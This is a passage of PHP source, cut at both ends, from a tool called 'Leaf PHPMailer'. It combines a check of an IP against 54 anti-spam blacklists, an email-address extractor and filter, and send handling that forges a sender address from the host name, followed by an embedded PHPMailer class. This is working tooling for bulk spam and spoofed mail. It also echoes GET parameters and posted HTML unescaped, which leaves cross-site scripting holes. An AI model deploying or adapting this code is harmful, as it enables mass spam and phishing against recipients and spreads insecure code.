        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
